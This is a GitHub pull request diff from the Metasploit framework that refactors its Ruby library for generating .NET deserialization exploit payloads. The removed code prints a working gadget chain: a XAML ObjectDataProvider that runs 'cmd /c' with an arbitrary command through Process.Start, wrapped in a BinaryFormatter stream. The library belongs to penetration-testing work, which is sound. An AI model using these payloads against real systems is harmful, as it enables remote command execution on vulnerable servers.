Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

.NET Deserialization Library Improvements #13257

Merged
merged 26 commits into from
Apr 27, 2020
Merged
Show file tree
Hide file tree
Changes from 25 commits
Commits
Show all changes
26 commits
Select commit Hold shift + click to select a range
6b005cf
Initial refactoring of the dot_net_deserialization
zeroSteiner Mar 26, 2020
60f0d3f
More refactoring of serialization types
zeroSteiner Mar 26, 2020
0f81278
Refactor types into submodules
zeroSteiner Mar 28, 2020
94d67ea
Bump bindata and start the TypeConfuseDelegate chain
zeroSteiner Mar 31, 2020
f447feb
Fix and cleanup MemberValues bugs
zeroSteiner Apr 4, 2020
296f244
Work on the TypeConfuseDelegate chain
zeroSteiner Apr 7, 2020
925c8c2
Experimenting to fix ClassWithId parameters
zeroSteiner Apr 7, 2020
6b4a1ab
Refactor gadget chains into submodules
zeroSteiner Apr 8, 2020
d60733e
Add and use the new EnumArray type for convenience
zeroSteiner Apr 8, 2020
c811240
Fix a reference issue for the ClassWithId object
zeroSteiner Apr 9, 2020
ead2f47
Move the TypeConfuseDelegate gadget chain
zeroSteiner Apr 9, 2020
d6c2375
Add chain consistency checks to the spec file
zeroSteiner Apr 9, 2020
f808121
Refactor formatters into modules
zeroSteiner Apr 10, 2020
dc5bce5
Refactor word and symbol arrays
zeroSteiner Apr 10, 2020
b37adbe
Update existing modules to use explicit parameters
zeroSteiner Apr 11, 2020
1799afd
Add gadget chain author credit
zeroSteiner Apr 11, 2020
46d5628
Add the WindowsIdentity gadget chain
zeroSteiner Apr 11, 2020
82dc28e
Use gadget chain classes for identification
zeroSteiner Apr 13, 2020
e809949
Add the SOAP formatter
zeroSteiner Apr 14, 2020
49580a4
Refactor exceptions and add more unit testing
zeroSteiner Apr 15, 2020
6ae3df6
Update the dnn_cookie_deserialization_rce for the new library
zeroSteiner Apr 15, 2020
2331948
Remove unnecessary logic from ClassWithId
zeroSteiner Apr 15, 2020
c920ca7
Implement changes from PR feedback
zeroSteiner Apr 22, 2020
3c4afa8
Cleanup style inconsistencies and update record read logic
zeroSteiner Apr 22, 2020
6995a9a
Add strong and qualified name types for .NET assemblies
zeroSteiner Apr 22, 2020
090cf25
Add some additional unit testing through rspec
zeroSteiner Apr 22, 2020
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
251 changes: 36 additions & 215 deletions lib/msf/util/dot_net_deserialization.rb
Original file line number Diff line number Diff line change
@@ -1,14 +1,19 @@
require 'bindata'
require 'msf/util/dot_net_deserialization/assemblies'
require 'msf/util/dot_net_deserialization/enums'
require 'msf/util/dot_net_deserialization/types'
require 'msf/util/dot_net_deserialization/gadget_chains'
require 'msf/util/dot_net_deserialization/formatters'

module Msf
module Util

require 'bindata'

#
# Much of this code is based on the YSoSerial.Net project
# see: https://github.com/pwntester/ysoserial.net
#
class DotNetDeserialization
DEFAULT_FORMATTER = :LosFormatter
module DotNetDeserialization
DEFAULT_FORMATTER = :BinaryFormatter
DEFAULT_GADGET_CHAIN = :TextFormattingRunProperties

def self.encode_7bit_int(int)
Expand All @@ -20,171 +25,18 @@ def self.encode_7bit_int(int)
value |= 0x80 if int > 0
encoded_int << value
end
return encoded_int.pack('C*')
end

#
# .NET Serialization Enumerations
#
BinaryTypeEnum = {
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/054e5c58-be21-4c86-b1c3-f6d3ce17ec72
:Primitive => 0,
:String => 1,
:Object => 2,
:SystemClass => 3,
:Class => 4,
:ObjectArray => 5,
:StringArray => 6,
:PrimitiveArray => 7
}

RecordTypeEnum = {
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/954a0657-b901-4813-9398-4ec732fe8b32
:SerializedStreamHeader => 0,
:ClassWithId => 1,
:SystemClassWithMembers => 2,
:ClassWithMembers => 3,
:SystemClassWithMembersAndTypes => 4,
:ClassWithMembersAndTypes => 5,
:BinaryObjectString => 6,
:BinaryArray => 7,
:MemberPrimitiveTyped => 8,
:MemberReference => 9,
:ObjectNull => 10,
:MessageEnd => 11,
:BinaryLibrary => 12,
:ObjectNullMultiple256 => 13,
:ObjectNullMultiple => 14,
:ArraySinglePrimitive => 15,
:ArraySingleObject => 16,
:ArraySingleString => 17,
:MethodCall => 21,
:MethodReturn => 22
}

#
# .NET Serialization Types
#
class LengthPrefixedString < BinData::BasePrimitive
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/10b218f5-9b2b-4947-b4b7-07725a2c8127
def assign(val)
super(binary_string(val))
end

private

def value_to_binary_string(string)
return DotNetDeserialization.encode_7bit_int(string.length) + string
end

def read_and_return_value(io)
# see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L582
count = 0
shift = 0
# todo: finish this implementation
loop do |i|
if shift == 5 * 7
raise Msf::Exception('The value exceeds the 5 byte limit for 7-bit encoded integers')
end
ch = io.readbytes(1).unpack('C')[0]
count |= (ch & 0x7f) << shift
shift += 7
break if (ch & 0x80) == 0
end

io.readbytes(count)
end

def sensible_default
""
end
end

class BinaryLibrary < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/7fcf30e1-4ad4-4410-8f1a-901a4a1ea832
endian :little
hide :record_type
uint8 :record_type, :asserted_value => RecordTypeEnum[:BinaryLibrary]
int32 :library_id
length_prefixed_string :library_name
end

class BinaryObjectString < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/eb503ca5-e1f6-4271-a7ee-c4ca38d07996
endian :little
hide :record_type
uint8 :record_type, :asserted_value => RecordTypeEnum[:BinaryObjectString]
int32 :obj_id
length_prefixed_string :string
end

class ClassInfo < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/0a192be0-58a1-41d0-8a54-9c91db0ab7bf
endian :little
int32 :obj_id
length_prefixed_string :name
int32 :member_count, :value => lambda { member_names.length }
array :member_names, :type => :length_prefixed_string, :read_until => lambda { index == member_count - 1 }
end

class MemberTypeInfo < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/aa509b5a-620a-4592-a5d8-7e9613e0a03e
endian :little
array :binary_type_enums, :type => :uint8
#??? : member_type_info # this field is not supported, it's only used if binary_type_enums contains
# Primitive, SystemClass, Class, or PrimitiveArray
virtual :valid, :assert => lambda {
(!binary_type_enums.include? BinaryTypeEnum[:Primitive]) \
&& (!binary_type_enums.include? BinaryTypeEnum[:SystemClass]) \
&& (!binary_type_enums.include? BinaryTypeEnum[:Class]) \
&& (!binary_type_enums.include? BinaryTypeEnum[:PrimitiveArray])
}
virtual :assert => lambda { valid.assert! }
encoded_int.pack('C*')
end

class MessageEnd < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/de6a574b-c596-4d83-9df7-63c0077acd32
endian :little
hide :record_type
uint8 :record_type, :asserted_value => RecordTypeEnum[:MessageEnd]
end
def self.get_ancestor(obj, ancestor_type, required: true)
while ! (obj.nil? || obj.is_a?(ancestor_type))
obj = obj.parent
end

class ClassWithMembersAndTypes < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/847b0b6a-86af-4203-8ed0-f84345f845b9
endian :little
hide :record_type
uint8 :record_type, :asserted_value => RecordTypeEnum[:ClassWithMembersAndTypes]
class_info :class_info
member_type_info :member_type_info
int32 :library_id
virtual :valid, :assert => lambda {
member_type_info.valid.assert!
}
virtual :assert => lambda { valid.assert! }
end
raise RuntimeError, "Failed to find ancestor #{ancestor_type.name}" if obj.nil? && required

class SerializationHeaderRecord < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/a7e578d3-400a-4249-9424-7529d10d1b3c
endian :little
default_parameter major_version: 1
default_parameter minor_version: 0
hide :record_type
uint8 :record_type, :asserted_value => RecordTypeEnum[:SerializedStreamHeader]
int32 :root_id
int32 :header_id
int32 :major_version, :initial_value => :major_version
int32 :minor_version, :initial_value => :minor_version
end

class ObjectStateFormatter < BinData::Record
# see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System.Web/UI/ObjectStateFormatter.cs
endian :little
default_parameter marker_format: 0xff
default_parameter marker_version: 1
hide :marker_format, :marker_version
uint8 :marker_format, :initial_value => :marker_format
uint8 :marker_version, :initial_value => :marker_version
uint8 :token
obj
end

#
Expand All @@ -201,24 +53,27 @@ class ObjectStateFormatter < BinData::Record
# gadget chain.
# @return [String]
def self.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER)
serialized = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain)
serialized = self.generate_formatted(serialized, formatter: formatter) unless formatter.nil?
serialized
stream = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain)
self.generate_formatted(stream, formatter: formatter)
end

# Take the specified serialized blob and encapsulate it with the specified
# formatter.
#
# @param stream [Msf::Util::DotNetDeserialization::Types::SerializedStream]
# The serialized stream representing the gadget chain to format into a
# string.
# @param formatter [Symbol] The formatter to use to encapsulate the serialized
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
# data blob.
# @return [String]
def self.generate_formatted(serialized, formatter: DEFAULT_FORMATTER)
def self.generate_formatted(stream, formatter: DEFAULT_FORMATTER)
case formatter
when :BinaryFormatter
formatted = Formatters::BinaryFormatter.generate(stream)
when :LosFormatter
# token: Token_BinarySerialized
formatted = ObjectStateFormatter.new(token: 50).to_binary_s
formatted << encode_7bit_int(serialized.length)
formatted << serialized
formatted = Formatters::LosFormatter.generate(stream)
when :SoapFormatter
formatted = Formatters::SoapFormatter.generate(stream)
else
raise NotImplementedError, 'The specified formatter is not implemented'
end
Expand All @@ -230,57 +85,23 @@ def self.generate_formatted(serialized, formatter: DEFAULT_FORMATTER)
# the OS command. The chosen gadget chain must be compatible with the target
# application.
#
# @param cmd [String] The operating system command to execute. It will
# automatically be prefixed with "cmd /c" by the gadget chain.
# @param gadget_chain [Symbol] The gadget chain to use for execution.
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
# @return [String]
# @return [Types::SerializedStream]
def self.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN)
case gadget_chain
when :TextFormattingRunProperties
# see: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs
resource_dictionary = Nokogiri::XML(<<-EOS, nil, nil, options=Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:X="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:S="clr-namespace:System;assembly=mscorlib"
xmlns:D="clr-namespace:System.Diagnostics;assembly=system"
>
<ObjectDataProvider X:Key="" ObjectType="{X:Type D:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<S:String>cmd</S:String>
<S:String>/c #{cmd.encode(:xml => :text)}</S:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
EOS
resource_dictionary = resource_dictionary

library = BinaryLibrary.new(
library_id: 2,
library_name: "Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
)

serialized = SerializationHeaderRecord.new(root_id: 1, header_id: -1).to_binary_s
serialized << library.to_binary_s
serialized << ClassWithMembersAndTypes.new(
class_info: ClassInfo.new(
obj_id: 1,
name: 'Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties',
member_names: ['ForegroundBrush']
),
member_type_info: MemberTypeInfo.new(
binary_type_enums: [BinaryTypeEnum[:String]]
),
library_id: library.library_id
).to_binary_s
serialized << BinaryObjectString.new(
obj_id: 3,
string: resource_dictionary
).to_binary_s
serialized << MessageEnd.new.to_binary_s
stream = GadgetChains::TextFormattingRunProperties.generate(cmd)
when :TypeConfuseDelegate
stream = GadgetChains::TypeConfuseDelegate.generate(cmd)
when :WindowsIdentity
stream = GadgetChains::WindowsIdentity.generate(cmd)
else
raise NotImplementedError, 'The specified gadget chain is not implemented'
end

serialized
stream
end
end
end
Expand Down
53 changes: 53 additions & 0 deletions lib/msf/util/dot_net_deserialization/assemblies.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
module Msf
module Util
module DotNetDeserialization
module Assemblies

# see:
# * https://docs.microsoft.com/en-us/dotnet/standard/assembly/
# * https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies
# * https://docs.microsoft.com/en-us/dotnet/standard/assembly/reference-strong-named
class StrongName
def initialize(name, version, public_key_token, culture: 'neutral')
@name = name
@version = version
@public_key_token = public_key_token
@culture = culture
end

attr_reader :name, :version, :public_key_token, :culture

def to_s
"#{name}, Version=#{version}, Culture=#{culture}, PublicKeyToken=#{public_key_token}"
end

def [](type_name)
QualifiedName.new(type_name, self)
end
end

# see: https://docs.microsoft.com/en-us/dotnet/api/system.type.assemblyqualifiedname
class QualifiedName
def initialize(name, assembly)
@name = name
@assembly = assembly
end

attr_reader :name, :assembly

def to_s
"#{name}, #{assembly}"
end
end

VERSIONS = {
'4.0.0.0' => {
'mscorlib' => StrongName.new('mscorlib', '4.0.0.0', 'b77a5c561934e089'),
'System' => StrongName.new('System', '4.0.0.0', 'b77a5c561934e089')
}
}

end
end
end
end
Loading